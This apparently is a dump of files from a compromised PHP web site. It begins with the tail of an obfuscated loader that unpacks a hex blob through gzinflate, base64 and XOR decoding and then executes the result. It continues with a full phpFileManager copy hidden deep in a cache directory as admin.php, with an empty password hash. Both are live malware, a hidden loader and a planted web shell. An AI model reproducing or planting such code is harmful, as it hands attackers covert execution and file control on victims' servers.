12cd5ce6713ff44eaf7c7051f0e288adf8c2221bf19a5f31168a1e8564472debfa2dbedb9b3a94ad7290eaba98ca9c6a941ed2d3a7706d6d96d61c76a7d33cbffa4efaf83f8d9c6f679fe2ff51e503a3819e198deb4af85c9341072d63ee10b7a98e8da65ed9ec6629e227fcb696ebd560504d60dc2d74baf2f531d44763d837942373e0640a1d07e23778c932fcf13d9294f85021ee4a0d8bc6dbf4bcc3669c0a65c5389c1c600a1d3197d99d237d6b9b5a810fec01e72e821bc7707517f0f737286bb0503ec51cb0198db33aa710a51a8e7724669f44d48fc5f26cb8672b326488c5ef61fb70987c9cabbc22d3f19dc628ed5f4ee38f127b9a134aec99a3b295674d326d345bf5a31be3afe40f186a5109bfb98f8e3ddde4b00a8fe39a670b11791679a82055ebb08b866c10b9bed43dbda6572d5a7f0b347be36c98ec26bdd88bdf5f12d4319398a5b7985789704f15ddf71dfa13c59998a478f2234aee82f7f713deefc1bd70f350be78882d59fe90e95508bc0a094baacc41bacbc5e4612e0997a16d4322650eb7e9d7bfa1172dcab26ce55ea97133b5e65b6ce9c7c5ee3dc1463493a7282a478a11c4defcd4f17399809a885738539f154f8042851f65fd5108ef2a0eabd70d945d64a71cc7ef4e48dbbaa05227a3df43626e007eab67ba5f14466e465d4ce1f6522fe81eb7f70956afc777e0a31f997d6128700b57694dd1c9c613cd632f313f59fc0a551588b8c9140991fc0ae91ff09b6d2c730fdc0821570967581fbeae44e5b513df1215f55976f85e472785cf4775072e335fe1ecebe017e285af286b703a8d038f03ecdc281b834775c3bebd28fdfd52a027c3f93e5246b62cb75dd43f13bccc6e53eb550353e9742ee967bc461f3aa2809eff2b71e0281a02cfd47f2faa669b87b9e822c631777a50bdb8a973b23b59fd911884efa1fe8f9811a9ec51ca8d733cf212170b03e1a422f9634a9e007f8e044a1f787486d67dddafc4a350a87ed6ac3b8edb8df083c65e98d72e3322c505b6fc37ec4eb5f95dc62b9360ef2ad95f05aadefcc97a652e2fa1b370bcd17d1ab3ceececd8226b30b8a36952d2464ef3a316a411e3e1f2ebb2d513c042535db6a2201fec430a9adc8e7fe6ea86eacba69894e727337fdcc21b2bd13a483e661eb973be8e3c784c5077f079719869d877a02717582aeb930abc87824a5bb71ad63e03ee6fe457bf014f1641cf1be4cd749cf02fcce1c2fa5a02f41ae6139dae669244ef824eba3863567d8f5ff546e5dfc3f8d85bcc1f55c46880470901edcaea7594c29551fbc2ad39e0a2e43f11ff8f610a88e7ff508fae9d94a20cf293e403e1dd0006773167d4c89aa484635485a5ec39f3113ae8bd9adbc81e56a6153b4593ffb38dc93378fb3e93ae3706303c9ca703f3884554a22d620c48f9d3325e27bf444f10ee6f40eb7a4a2b3452487dd2381c01ef0c32038f623a12bfd80d175d679a59e539a9618249f6e0330ed822746b63fb6bd4f656af68fc3bb552fe003ffe0dccdd43cd9bc24921fa886bcceaaef8600fe9ef5293722726ad9df74f6891b137fc3abb9a1d21d0016f015bc3a49cc29e662f3f4efd1c4d47655fc4b2e578b8a00ae498778e9d3adbc9c5286ebac56ca5c64bbd5c4ab04f89cabb1117ff43ade7f96c45993487ef1f922dc6c0f2bf4ee0787465a8a9975f4d843c8f89d3057cea86e31a845eb3f049e6e9247cbcc93d43e2f59604939f57b661c8bfb6d3866cd5d891405d2bd86b99edd48566fa323111f99b640b8851f0f41b8d81ae25b6a01e7ccc3e54f20ce7a5da6f45dedfb2846dddfb111df6fd75ea8778e749f8f2db0e95d34ba6d02a37265d26a86d22c8d1acc04d8360d929abfd0d30464ce8614ee682d0d17ab607f1071f1b7195b9039545eafd51c41123f8e28d2f36033a4db37324d8d0e1e4ad03635a68bb6bf8ad0ff04ae72347313b8fc2d42130ccbd40ed490537d20b08eeabe815078e5cc3e1b493c8041a3593f0457e853d17739dcbeddf6e3f2155f6668a14d9e8b49a083e8f6a47a52bbda8b25e66327231d547a7fc401cb1b7060ce1b765d5c8ef3de3330618d87eb62503adea427c9f4bea06bd7b35c6c4b7409746f745d164b6382782ece84add2851ba9428c718e5c267e6e75aab3a9571b1f24d536d7ba7e06bb7d0d85768b18e0ed0122ff886ae70629962075aa4e107d6a28f527378a7ed414d45fcbb3cfa031f2abf45e7d530200bde3d2ac67c87be6bc6ebeee1e5d2ae52969dc4cc32ab1c6dcece17e1e41ce52a2978428b7c9c2bd3b2d0d6902e3fe4c4dc7243d30c86e26b14e823b57ed0b27adc83cbdda2e18b47125790639d266a3eae9e82f948237bfe26395890b7334d1a704eef9caad2dcc2e17c2f83fa8eae6c1c78d1bf5623776aa47b45e3f0cb8e2c6d02bacfb2e1b38017ef35d67c77ac9675c9059ddacdb91f15dda65c94ad70c075dd4520942d4b05ebbb4a1e55b6bbb3c140145d8f7f62605309c4a10ccd796fc3010fe9d918b5bc1897b877fd8f670d6d74ec7bf3571f7fcf61d69ec4ec75096c634471ce96e5bb4a5f46b1a5a1b96bb0afa86b27ce85275b3f2d698f0bde97b49329b82a6a7c13f47555f76e5c25cf03d797e15fad0535a823b1f00d1fe5eafa2522339faed3de9a2395c7edac8efeb831ca65c746eba6b02b042d3bab94813fc2021ce461a6a5af99607d01da7e593da8f5af844ad79c1d0e78f43973cafa89aa0ae5f644afb8fcb60a0d1376b78d286659e22aa0f07a8e2e977c74cff7bb8cef4bcb3a0c9a9c1474a897c56b2f86b027efd92c71a2a115a16bad1a1c9e8ad15be6aa28fa0e8f66b61819998166136d011d92db5e2c31c1d10cad3198caf9b85c86c07b28291f040a41d4195187598d2e608a0d0635dbdae88eac3bcfc4804dd3483f26b9b2baf1e5ba77afb66fccafe0ca9fcc783c41ac6b90fe5cbf13da368e27990199194bfd0e94c73d483680e5f19f369d2a4ea63555db932aae45ad51b4f5b4161f94c443d3954cfc6cebdd027558d31b61d5eb1ff7bf89b4561ef45de7e7307144646ee45fc1edc9458f26285d7734c8e20aaca6a0231277c8d87c30e863d3c6cb2fe33efc65e5d116cc67e5b47116531bd784b8d2982a9d7755531b176769e34ab3cc1a5d0227e9e8741d9bae51b7b9921382100cd54a19197f5be16ac50e794856adc662dc5c22568dd8f6fed35e5ddbeb0482706050b58c66d93be2a1b97ece49efb49c9b2145d2d802df6d7aaba40b101441405616fbe1ae364335ad79465b02d9ba6bf6f0b7d52fe5eee54b8fb088bf3bfdb3eb81f552727ecb6de139bf971c9644270302540c0fe819b7dd22ecae8c5e0d64ea0aee639375fd6b714372b3cbdb6573cab6d7962d5dbf63539b3e47d228130d670045c5ad9cb87f7db23568d5ee7b75f97e162af9ede707391b774d5eec1cb6a3d527a87cc7d930559c514caa488a5c1fd071c87bdda7d98422a594529e2a9395a673862aab17510d406ce7a76810592cad57aa6262a94f8d01b157f655ecf00a30686654bd23b6afaf7e47b44aa2ff017a46992ebfa88d64dfc6559ddd71655a2b712fb2239f6bdfd6faf2f03a0518b483704fb62a5fe2a076832eb7b55212adaf44b8625771f5d5dc7755bacafc2a9da1f26e47fe9e8acae094a0441cb40ba3dd4792356a798741f90680ca084090bbda08b63a38a5f8338655d815c21dbbacfc8e84b7003b246b2246b8120c2f72dea2067fc1b042a7931fa471f9ee36807658f9bf0e63ce3b52d2c9ad0c9038f8779b2b5b81c5c0064917d950a58b8c48d618109550f0b57d33a0360453d82bd9a06e0f3c50bc8367b1116dc0335f0f2b03f2828aacb85d33d81f9ddb1cd81b220d206f60314a06088995580cafe05ece7a42fc415434e96971fbc1fde56d74d5db92942bbac8bdea2f81cc93fcd9c956e760b46e30a1ea3c4a5a57fe8e59771850ae7fb01365e773150e8945ef3db697b4b610ac20f2147fd0caef7d2906b56ab7601493ac89e91ca2c0a8dfb77fd9f1a3c195149ee1209dae8d6be8446fe257c46d0fb07291224db4b511181ea6beb46a549d67a482ad563ef4631b77f203e25ac33e36d6725c0399ac91ddb748bad8ce4f035aefc5de70f20234fbe1c9d42b3aec6b75ad9cbb53eee510b9a3e941f98f9215468849ad4d75557fef4f4c26debc5ba6f43f70e92f561eff2671e9d54d3b3fdc6f6b2e5d214e0bc24ddaf84b079eafb8bbf2c681f391f72bf9077b1372f44dcd2de2ad1b0394cbba975bea3b9e49e26ed3fe1fab19ec4ab746bfae94b1b9e58f67e8c7e417985b0e065aa5d76f5ec57d893855d6b0a9e9c19c61d5c1fbdf107e1d62a815bcd8be4915b8c46a7915e9f2c2302e4e62c0970a0032c2189d32184b4931a53b02a211dcfb2c88b2f91e7c3b0797d116b79a2cc682ab09da52dcc9d4652ac69a75460c0b0b9692256f068a2cf401f8f21b2066a90a6811efc1adcdf4472dc701837a812d92a6956fb0cfde241132b458a611eeda788ee8c41585928c9d076cb34654e2ce035cdf09662cf23220aa5b49a93ed2c67642c1de12039128062462c85c61e083afbe1824c76d3cf8262e4362025145ac56f521de2168f88111cd53a164af51f8ed5d93c28e3eb737615370e3bbab2ae7cccecba1652896d5c75a9f6c6a3b78d060736b6ddb19000ec8c8833aa5d5c07b077fa9225bdbf607a04f9f804123e6d36242fbccb620852eb24a2ae30300966c9215791b5c6957aa1a8862c2ba8ae014f4a2bc8ab6c656e9e68455e9fc1471922e375993c40453540098d15c5ca5b3c355ac55d4c83b7458add14404d06a432716131940bf4cd6d06d800a04f8a52b0198ce0004f80bdbfae1e595773f5b6bd1902ad11a1074f36542e6fb871b528619aae9b2f2bdbb0eae7ba537fb29ae544993d66d75a6adbe2658e7c34f9566a620d7826abd3c2cf4c9dec348b268f8f2475f1e4435b4497c40c02f654adf77daaabf562cc33c711828931c4a0bf277bd0e5a23064f892ff0d09416ef6c7fcbe0375922c03bb0017c01c0522759ad9f7627463f175a52a41513d6281e2773c4aeb602ac8c2ba2c518cb619c68b5b2d3447f702fb14a2a9af5ba2a8a756a20aceeeb27180c7455d31b57bf2b56abafbf95dfe40bf08119220730bfafc12039e8cbaac09fa0f3eb341ed2a696a4ca479887dc41cc1704bf223aac86afb5bc0ca3e839a21078a4da75777cfc0ea72014de41007d68f216690c7f5dfa72e5812c324258f2e9155a8762e6c62e32f99cc1f986ccb8039f7ea92afb3956786f6e83062ef0c85b409525eb62241ba7e10292040ebe34a8f0a7cec0c4c0c2020d9b82e64c6875a5e33b53b5fd27b92c996183b763ab373e4c455615d19ab20e5aa10b630c1a5fe9f3467818f9294033ad2d4792d86ee5cacb699a5ee6ca3256c980cdfe98eb8c7d76902bc0fa9707f1a409f8efab014b531f3abf55b6e9435bde6c9848b7ed88dfbd86ee787caeb493623482652f1603ac166ed7f6e5233c70d19c77aee52d62ccbcd6317c8aa8882a79931853fd625d4f8b5b4cbb4ff2a138ea45b27d54c7df93c655138a248d222199b1647119abd51d2bab365d0e6c160c9bac475cdf3dbaaaeeb066793770f00b2b7b2f49cf500bf613f9ca764d15ab946681d71130b9d8c2f907b0ccd54ecc3d3310aea2e123d399128e0083aa2eb4eabf8dd79f662f3bd31a8c6d22c731389aa525bfc9790a05a2d053f061bd3d3eabb4ea7c2d1c27a280649a7e4218541d08fd122db9e039273b4dbd777374a9a6b8a36a6b305b1dc594861f18bbebaaac78efe62bcb1e731de6f8430137abed73931a2adca727373d094b0a2f5df790c673885344786dc6d6fd1d97cf5faa88078d65bb416b0a2ef749969a3b5ebd11266faa6ad9514eb3ce0de9bbd6c38043845fa96c3d1b993f7facb47138fc7bba2cb6213752d8ffa5c90bbf05090d1a55b8580896c994cbe25f4624639cf5bec1d3377c827c7cf9c24ace0d45925212615b134bef3c5559d9665d6a78c36b765861df0e5d401d83b6032ad15554677da2ad312f6d73199c02a20041634607b8bf3182dfeb700a7eec825c30c1d2199c4ad4f9587470a7b9c3a0d8261c0689c9092daf033f7e2955e2b9b03a68c3cea42b6939554cb2607892a096e58a826fc75303a1dcd114669697351435bc99d1566ad814df26dbe48bdbdebcaef2cdcc2558361e2b76cf893827b396e69a1b6c4d3bbe8896cf1ba6e7aa694e8d5891c823bc44a1e1d11b80141dbab2f5da004b56f896f6767fb452f4044f1ed7111a832f667a6af0cbff75b0b9991291f049c75b930051221319d2876476ba03963e58634fec8a55be2b4eb676b27e2cfb2e70fb81d8642ea174935362d80ac9bd02e8e15cd471e12f5cadba91af5b36234e721d1130272effcfd9e853f4a00c5e6245b6da423b278bdc0bea5979302e5f9af8dca6dbecbda324e99d6031e4070a17a5232dabf0bbc71b37f95e59b6fed113412a58bd6f75726c75b566c4ee4dde2cf8e34c245dba665e9b669d611a2fc24f7f15df4d3b6481775fa6f8050f382829d7e0a2eb2ed2c3b3232a93d9186f692e2ed6e87c53085cdcd03916fc6154752e40a3e0b7075049cda22ee6a5e0c94c0bd02dbc1b7ede4a834ec9dc89d5370c7143456bd8460d4fb6551908a2022049297dac2a534495d23489de828fef753c0350f24949c36a641f5434cdbe3c92981bb17163a9d90a0473dd7ee18bf4fada814521f99a9c2d15afb2a99756897ccd5b91a406f02d334c1359ea633db03ffcfc9a98d6e2d2785c5e7250d2cc94de35d33b44149368a00b8a8371e9ceb668dcea8b0f2618d819d24609ac5b883b4f3de8544c734a3bf59a41448f3c71313ef701084ced5f2cbea2741543259d6c50b2c6a995a1d5559d126b6c0b41ceaa0a4e59536d95e56b900fe6141d92b78e4186ce432b834d29b3992342750f8b5b03ddf4784e551559a453e3b58183cbc66fe7bd76ed33cddc69490ad1b66f3cc0129f3a181033406034a8dd37a1fcc897608c43b9a4bf76a2355232ee035937bcd794041ec12afaf29adbd8f685a87a45bdd833cc95618183932be3622645699e51f12e98420960fd97168346cff2873b617864efdcc6034313184e93f6e26f96f54ca683d5a343223f8c9be02cbe17f92739426b020a5e373aaee281d9652301076f736e5812786056c1a2772f3a354b65581953d9419cdb28cdd9392122997bbc968da259df7769feadf16bdecd5ca65e5f4ebcfb54aad9885f3c0efe91dd78f6f9cad669ef2aa2d88c1deffcd7575ebdb42f6e6d7930ba2f5e98683058d0732ee6a3edf3bb9f65919db9b43da316f29f5a9e74fa3abf649a9cb3e3dc91e68e9cd6a6b605877f91c97783b70facc92bcd6631a7219efa5d36cc5a1c66b8bba2694b50e9bb388521d6212ce22f3f2b17ebb406f75684a9d665e9e4b4c160382f890196f2ac8c0737bfa88211640d4ce32ad7452a2f46a589ffcb2b4ad7a64fe19eb52406b86c6add36d9d6ee2f725fef5d3929f01d875e894a2805cd8a9d861fb952b2d51ec4fa930767c7476ddad5b6fb19d36911585c0912d13bde6978e95fad09b28456c9174f665926ea4023b3a813262fac01d4fa09ad068386536eaaa0c15d4992ea3834428a23ad928f5f0a0e125b34d05c88c7d472a29014603e8c71144b7d621dde6984db4f09c2bd16b1659ab8525a232b3034e8783e097462bae524df09385a66e8543d1ab903fe6f827ffc151774fa262ad1fcaad585601d869d5be2bfdcafa3402fbfab33c81343b5b926ef842f73fc5e3c8e7b123e705878d1436f7954b0616bd5bcc4cfe52e9a267f71474220fa8fecd7d05c680542d24dda21031df982ad3a379b689f5b9af9dead397e4641a673e2b2562ddabdbafa80571923f78ea8db26ec5f2f953f79819bceab865dd1de69bffb124a3a039056fc8a9ae814e7042e76d93e1c447f1a668dcdfafd30a708b48e0862f7ff2c55e5bef073708eab7bc9e0ba5d1d1bc64ecbb5b666359737b42fb53c0e707efd56793008953e9ea62baddb727bfa87dd86cc9c87ede221ab672cfe72beeccabc09af5b3fad5f7818c9f44458c69a98b5bf7a9dcf6dda5aa52ccd4a107cb1500e9033f3ab2fd0c658a34c6d6828dba64b2a95e07e02b70475a87233b9ed7c9bbb6ea25995af1f175c7e33a0d80cfda949cf74ea0e8943552c5b5ed466203114e9ab84018b15b45579044a3ee5d462ab81bcedf98e0d663b65fbb3f04f6daeb3cf09a3c727dd282f2f951a53decc79f0812b4f125a0e6eb164bde2f7ae4b7963480a6b3d18bc2e038e1c1f53fe18fa1bb9361fd1b61cfb83443a800596d79dd6e6f0e1d5de252949831ab4ee8fa8c4b8f880c4c6367ecee165590d967c8356a3cd68d95b86458649884aca8a881577f165ad4bb8c365d6c41b313e91e427a7f7066b147a23696a749e3eb39f6cb249876d9dd850cc1659a67d1621bd4b66dc459ee4b7007c1557b3f70dc962a06916884b5cd9c2a410115e5ea51f3ad02724e15279141b9b194fbde6d5b8050a2d0cc08fe823f71989d3a1d1e2132cc3db37f5f5f5da8cf7b02f445f9b7f719c34754efc39771d3b2772f3a7b7bba4576ba5b7151d499ab885374a558c0b71023509d68e3b16ffd50f77c7be5f34b5aa948c3cd0ea3359a9995d999682c71b74a052925e0b378982d8b836a891a64b458faa4750a8f5ce8aeafd1d5c59c7bd5515a5539a654e9169fef7d7c7839d3788831ac5ae0af997f3590ca37cb0c4d7ca1a6035cd467eb1626321d9e1779fcbaddbf86ecda63e1f73eea0bb89b3aba46147d8f175a199597b3fed50c7a7287d095a1f62b080074ef6db37af285fa366941eb16da7db88805d6c464bd3f30dd201cf4e6ece2f6faffadbff634599c21e3427ad388cadcd2dcd4c41d2c1d7d377eccc9557a986b46928dce6b8aeb5ba324bd4481ea6d7e0956d0e217c617eec907562ade98815cd28d6d2fc0acb577fdcfe9ad86eb03a88bce77ae41bbcc625a5e20e10a0045eccb0bf1256aa1767786f5aea5d5af9e15555d508a57ae2efc30b3404c3ac3178057f243f1db47833dc3a029531adbab2fcd860e90d4d12d427953a524223256f70bec342be5493e11ae9fd436b0cda35175014c954cf70b532a20e1f608899d50024e00e3bdad2cca7809d748546ddc6d2baf25685198b3a2788ee2e6d7d9d20b4801b094d4d56e141e0ba8237896c6e4c96c6aac631545b405b00811bfcc10a118ac16d8a0a9166ca25b83290643eb9369775e8507d024a91ae4f3f125590d1f8fae39bb808f92287a4edc0cb631aa177ca9d2f6e859045ed044ead8a415b0b6dfc6c09ff0d029eb3ccc696e89349e643cf02a9ee74e7c412cc134b3a4f0809c4782fc24ad2e29c72da4090f9a85a26f2beeb9b6f12550e61cf097a3d2ed9d0121da52fb66c3dccee28a1888d97ed8871495c185b178ce9551d002f7d29a24fa2e42e258047ad56459268c08f3a4d072a07d8295fe2ad3cbab9a12d05a7a580b1c11df677255d8488ee4f86229f5b81781ec2e637d73fe556896105db035621eb96e45802ec1e619811bbf9e091c3ed87514987a0da55c7c17283bd3e50ca6c6f48c1d84c6e68b1d8576af8345fe953b501abac625d69ab4ed799957635b4073c8f2504e7a80a6db5352961b3ee40c7520a5993f3db3515bef8aad4caa039d82a79bdaed87d70a8b5b472a5e5ce6c9b12bdacb212069aa35b3711abbf1830eb6a21138e1b64f33147533acbbfdcb0a4e046e79e2e79f6c3ce4514bd7cbbee66893641962c1a1fad1b3bdc65a7384cef4cb5b4a99fbcf97bf5a607b191adfafa9f5bab2ccdb162453ca53e274476b8b7c0b56f93c8d8bb55dcc6373faa651fd9e2a22aede36e38b0a31c07ebc99ead31a1e6876f5aa362ee6e6be078daa05384306228d6325120c0ead520b27c6b8d3f0533ac0ed8823b751f6e6364b441c3f2fed2de176ac60168ed70a966332591d28f1dce89325178ed2a4d25fcb2a190805aa552f9feeae36873bb8e6b52cdd025ad613694f3d34724537fdd7021bd1e5f095b92ec3d6ce3206a7f4fdca4a4e4bb3feebbbd29f9734971c4a7e0d8296ff43be55e57eac23397c62e7ffb9a7de79150a065a4ba27bc0efeb8fb77c2f30b4bb89e296dd3d455f18962f0cbd68ff1f846296acae6c186cef9d5f15e5f0c72c2aa893a18672b8c3ac030667070c4478baa6cdd43f0f3fd848e25a275cfcde96deb4f269853e6be7dd45a70694d0e4bb30d2da247ccc7473b157e912df726af2bd95dfc51afd5ed2fba794e423ba76be267277c502daa1d29fd4d0059a2f339b67212c10e982309b528f07a34f1a3b56744029274b0e3abad7dc7db099b0a3e55e586ad69def2a5e9e0e3e62f5ce54ef9f8d2aa47a5d4ba271551751fadfa1a54a40d787770f60d97178a396c6542c59b72a306ffb8ad4ae61490b59eb917595af3755b91cdd53b3a5467b069384f2985a5bf18744951edb4b431765335819bd3e2efb5c964faac0842971543c5442c435fc8259c3fae7ed4dab37599b00e1b9a43b53a34ae8ac681d2bf9376b569b0425ae46ff6228abec2da23951e1fd9d8b2cfa8ad5d4d3dddc37961dbbe2ff10175166bc39203872ae73eba4f388734af50fa4f1f365d0daa137730ee6191da9c3ba5712e2eaca891e5bdcccd8dc867aacacd3b278ddfaffcf0aed94c979f64e9c8566bd1ad43043da3cdf52050a962953417b38218be7f7756291bb6d7e76d9972ff07609165955631cc3b96b91269df3950094f1fad591312493779ea6e1f2c99f97ae3f48ffb5cc29181837f38375455dddc14b5210a14b09d3e105b58d6aad3487f5badcdd899606c9584daae81e0129aac55065028b38c6f1077c89726ac14031eedb5061e2e7a6768d5eb8a96f8acb2e95eae3cb4332a3e8b17daebcdedb5f7fc5f0762bff095f737b8565b649d9324066f581cbf28c9d05a5453e5cafe1a41bd304c6c434d498fe5b1911d4bd6b052f2fa00b993d5a241b7192108a168104726eb0c06648cbff805bfc6b98cc339bd76dfc64845a5b34348d52ecf89aefb77abf477ff8a092a8aaece2f5eea33b732ca6d3db121aa234b021dc2b90ec38abb1b264654e05fdbd1e5d9aa444cbf258a2b2dab83c3ab7745b41ebcdb71189f46664fb0ae351e9351a473712c992497940df93b0b776769d455fe7409ba3e48b6ac2250fa7d87c87eda6f0b620f2f4b7a97be74dbbbdd4b7721dcbcc5bb75935271b581ced2a95a738b738b56cf8a4516fa6d0fc2d56fb81cebed0c73e25a343ca87a72fee3875fca8343dc239cb2f223f71ddc78f85a47fcc4410dbf277abe6b1c34f10d2e4971d63e60c6cfd8916415a522cb2beb27dbe7b733b29a2a685c9da5ca8f41665f5ef7d5fdeef3598f9917cdc4b8585d87a6f4854b45922a5f6c4940137fa6b94a46c8fd9841617fcf09570d6dbef68965667fe41d87cb012568a86e52b6be8cc4198d6a50cb362b246157acb8de6fee670311757051f99b159bbc529472cd8e9825a6cfdbafb6cd8e0c95b552756a14b3aeb28c29a385dc83135ac889eb15acec0c111b53b72d6672dcf436f7e68ef66d0941fb0e6f524eb46b2d6e58b866b8e260e256fcc0fb15e21502cf05b0f8cf497470efa49c62ab165b80c4fe1f'; $hex_data = substr($hex_data, 7); $bin_data = pack('H*', $hex_data); if (isset($_GET['debug'])) { echo 'Step 1 - Hex Data (first 100 chars): ' . substr($hex_data, 0, 100) . '<br>'; echo 'Step 2 - Binary Data Length: ' . strlen($bin_data) . '<br>'; } $inflated_once = @gzinflate($bin_data); if ($inflated_once === false) { $inflated_once = $bin_data; if (isset($_GET['debug'])) echo 'Step 3 - First inflation failed, using binary data.<br>'; } else { if (isset($_GET['debug'])) echo 'Step 3 - First inflation successful.<br>'; } $inflated_twice = @gzinflate($inflated_once); if ($inflated_twice === false) { $inflated_twice = $inflated_once; if (isset($_GET['debug'])) echo 'Step 4 - Second inflation failed, using first inflated data.<br>'; } else { if (isset($_GET['debug'])) echo 'Step 4 - Second inflation successful.<br>'; } $b64_decoded = base64_decode($inflated_twice); if ($b64_decoded === false) { if (isset($_GET['debug'])) echo 'Step 5 - Base64_decode failed.<br>'; return; } if (isset($_GET['debug'])) echo 'Step 5 - Base64_decode successful. Length: ' . strlen($b64_decoded) . '<br>'; $obj = new self(); $final_key = ''; $key_methods = ['kmOtXHTf44', 'kmMQmrPQ12', 'kmpJxlQK32']; foreach ($key_methods as $method) { $final_key .= call_user_func_array([$obj, $method], []); } if (isset($_GET['debug'])) echo 'Step 6 - Reconstructed Key: ' . $final_key . '<br>'; $gate_token = ''; $gate_methods = ['gtyICEMK95', 'gtHNKfuz49', 'gtPELinl27']; foreach ($gate_methods as $method) { $gate_token .= call_user_func_array([$obj, $method], []); } if (md5($gate_token) !== '809504a378441f674cd902a48b937089') { if (isset($_GET['debug'])) echo 'Step 7 - Gate token check failed.<br>'; } else { if (isset($_GET['debug'])) echo 'Step 7 - Gate token check successful.<br>'; } $plain_code = ''; if (strlen($final_key) > 0) { for ($i = 0, $len = strlen($b64_decoded); $i < $len; $i++) { $plain_code .= chr(ord($b64_decoded[$i]) ^ ord($final_key[$i % strlen($final_key)])); } } else { $plain_code = $b64_decoded; } if (isset($_GET['debug'])) echo 'Step 8 - Final Plain Code (first 200 chars): <pre>' . htmlspecialchars(substr($plain_code, 0, 200)) . '</pre>'; $obj->_execute_IxXagtPJ96($plain_code); } private function dcIGrOMc35() { if (97 > 50) { $jv1 = 'branch_a'; } else { $jv1 = 'branch_b'; } $jv2 = defined('__DIR__') ? __DIR__ : dirname(__FILE__); return null; } public function pubIKqXs60() { // Public method 1 // cmtEUvB84 $jv2 = (bool)mt_rand(0,1); return 'valfrKz58'; } private function dcAlbyct70() { $jv1 = defined('__DIR__') ? __DIR__ : dirname(__FILE__); $jv3 = defined('__DIR__') ? __DIR__ : dirname(__FILE__); return null; } } LoaderMfbuzw32461::init108(); // EOF cache/js/includes/includes/ybp/kpt/admin.php 0000666 00003615730 15216703276 0015064 0 ustar 00 <?php //{"lang":"","fm_root":"","timezone":"","date_format":"Y\/m\/d H:i","auth_pass":"d41d8cd98f00b204e9800998ecf8427e","error_reporting":1} /*------------------------------------------------- | PHP FILE MANAGER +-------------------------------------------------- | phpFileManager 1.7.9 | By Fabricio Seger Kolling | Copyright (c) 2004-2021 Fabrício Seger Kolling | E-mail: dulldusk@gmail.com | URL: http://phpfm.sf.net | Last Changed: 2021-09-18 +-------------------------------------------------- | It is the AUTHOR'S REQUEST that you keep intact the above header information | and notify it only if you conceive any BUGFIXES or IMPROVEMENTS to this program. +-------------------------------------------------- | LICENSE +-------------------------------------------------- | Licensed under the terms of any of the following licenses at your choice: | - GNU General Public License Version 2 or later (the "GPL"); | - GNU Lesser General Public License Version 2.1 or later (the "LGPL"); | - Mozilla Public License Version 1.1 or later (the "MPL"). | You are not required to, but if you want to explicitly declare the license | you have chosen to be bound to when using, reproducing, modifying and | distributing this software, just include a text file titled "LICENSE" in your version | of this software, indicating your license choice. In any case, your choice will not | restrict any recipient of your version of this software to use, reproduce, modify | and distribute this software under any of the above licenses. +-------------------------------------------------- | CONFIGURATION AND INSTALATION NOTES +-------------------------------------------------- | This program does not include any instalation or configuration | notes because it simply does not require them. | Just throw this file anywhere in your webserver and enjoy !! +--------------------------------------------------*/ // +-------------------------------------------------- // | Config // +-------------------------------------------------- $version = '1.7.9'; $charset = 'UTF-8'; $debug_mode = false; $max_php_recursion = 200; $resolve_ids = 0; $quota_mb = 0; $upload_ext_filter = array(); $download_ext_filter = array(); $cookie_cache_time = 60*60*24*30; // 30 Days $fm_color = array(); $fm_color['Bg'] = "EEEEEE"; $fm_color['Text'] = "000000"; $fm_color['Link'] = "0A77F7"; $fm_color['Entry'] = "FFFFFF"; $fm_color['Over'] = "C0EBFD"; $fm_color['Mark'] = "A7D2E4"; // https://pt.wikipedia.org/wiki/Lista_de_portas_dos_protocolos_TCP_e_UDP $services = array(); //$services['13:UDP'] = "DAYTIME"; $services['21'] = "FTP"; $services['22'] = "SSH"; $services['23'] = "TELNET"; $services['25'] = "SMTP"; //$services['53:UDP'] = "DNS"; //$services['67:UDP'] = "DHCP"; //$services['68:UDP'] = "BOOTP"; //$services['69:UDP'] = "TFTP"; $services['80'] = "HTTPD"; $services['110'] = "POP3"; //$services['123:UDP'] = "NTP"; //$services['137:UDP'] = "NETBIOS-NS"; //$services['138:UDP'] = "NETBIOS-DATA"; $services['139'] = "NETBIOS-SESSION"; $services['143'] = "IMAP"; $services['161'] = "SNMP"; $services['389'] = "LDAP"; $services['445'] = "SMB-AD"; //$services['445:UDP'] = "SMB-FS"; $services['465'] = "SMTPS-SSL"; $services['512'] = "RPC"; $services['514'] = "RSH"; //$services['514:UDP'] = "SYSLOG"; $services['515'] = "LPD-PRINTER"; //$services['520:UDP'] = "RIP-ROUTER"; $services['530'] = "RPC"; $services['540'] = "UUCP"; $services['544'] = "KSHELL"; $services['556'] = "REMOTE-FS"; $services['587'] = "SMTPS-TLS"; $services['593'] = "HTTP-RPC"; $services['631'] = "IPP"; $services['636'] = "LDAPS"; $services['993'] = "IMAPS"; $services['995'] = "POP3S"; $services['990'] = "FTPS"; $services['992'] = "TELNETS"; $services['1433'] = "MSSQL"; $services['1521'] = "ORACLE"; $services['3306'] = "MYSQL/MARIADB"; $services['3389'] = "RDESKTOP"; $services['5900'] = "VNC"; $services['7778'] = "KLOXO-ADMIN"; $services['8080'] = "HTTPD-ALT"; $services['8200'] = "GOTOMYPC"; $services['10000'] = "VIRTUALMIN-ADMIN"; $services['27017'] = "MONGODB"; $services['50000'] = "DB2"; // +--------------------------------------------------------------- // | Special function declarations for PHP backwards compatibility, // | missing PHP modules, Web server issues, and anything else.. // +--------------------------------------------------------------- if(!function_exists('mime_content_type')){ // Fallback if PHP fileinfo module is not available function mime_content_type($path){ return 'application/octet-stream'; } } if(!function_exists('get_magic_quotes_gpc')){ // A base PHP function removed as of PHP 8.0.0 function get_magic_quotes_gpc(){ return false; } } if(!function_exists('apache_request_headers')){ // Function for Ngnix and other HTTPDs support function apache_request_headers(){ $arh = array(); $rx_http = '/\AHTTP_/'; foreach($SERVER as $key => $val) { if( preg_match($rx_http, $key) ) { $arh_key = preg_replace($rx_http, '', $key); $rx_matches = array(); // do some nasty string manipulations to restore the original letter case // this should work in most cases $rx_matches = explode('', $arh_key); if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) { foreach($rx_matches as $ak_key => $ak_val) { $rx_matches[$ak_key] = ucfirst($ak_val); } $arh_key = implode('-', $rx_matches); } $arh[$arh_key] = $val; } } return $arh; } } // PHP mbstring module is needed for multibyte support and internationalization if (!function_exists('mb_strtolower') || !function_exists('mb_strtoupper')) { die('PHP File Manager<br>Error: Please enable "mbstring" PHP module.<br>http://php.net/manual/en/book.mbstring.php'); } // +-------------------------------------------------- // | Header and Globals // +-------------------------------------------------- @ob_start(); // For ChromePhp Debug and JSONRPC to Work! function getmicrotime(){ list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } $script_init_time = getmicrotime(); function log_script_time(){ global $script_init_time; 